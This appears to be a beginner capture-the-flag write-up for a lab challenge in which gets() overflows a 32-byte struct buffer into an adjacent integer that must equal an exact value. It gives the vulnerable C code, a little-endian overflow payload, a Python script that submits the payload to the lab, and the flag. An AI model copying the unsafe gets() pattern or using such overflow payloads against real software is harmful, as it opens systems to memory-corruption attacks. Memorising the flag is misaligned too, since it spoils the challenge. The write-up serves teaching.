Magic Number adjacent-struct overflow needs an exact value

pwn
flag L3m0n{99211fb421de7faa767937a2451338ee}

The same adjacent-struct overflow mechanic as Overflowing Ooze, one notch harder: the neighbor field has to equal an exact value, not just become nonzero.

c
1struct {
2    char         spell[32];
3    unsigned int secret;
4} book;
5
6book.secret = 0;
7gets(book.spell);
8...
9if (book.secret == 0x6e306d33) print_flag();

Insight

32 bytes of padding fill spell exactly, and the next 4 bytes landing past it become secret directly. The only new wrinkle over a plain nonzero check: those 4 bytes have to spell the exact target value, which means getting the byte order right. x86-64 is , so writing the integer 0x6e306d33 into memory means writing the bytes 33 6d 30 6e - low byte first, not 6e 30 6d 33.

python
1import json, urllib.request
2
3body = json.dumps({"input": "A" * 32 + r"\x33\x6d\x30\x6e"}).encode()
4req = urllib.request.Request(
5    "https://beginner.l3m0nctf.xyz/lab/pwn/magic/run",
6    data=body, headers={"Content-Type": "application/json"})
7print(json.load(urllib.request.urlopen(req))["flag"])
output
L3m0n{99211fb421de7faa767937a2451338ee}

The visualizer echoes secret = 0x6e306d33 back and the book glows on success.

Pitfall

Writing the bytes in the "obvious" big-endian order (6e 30 6d 33) compiles to a completely different integer once read back as little-endian, and the lesson page tells you plainly that it's the wrong value. It's an easy mistake precisely because the target value looks like it should be typed left-to-right - but memory doesn't store it that way.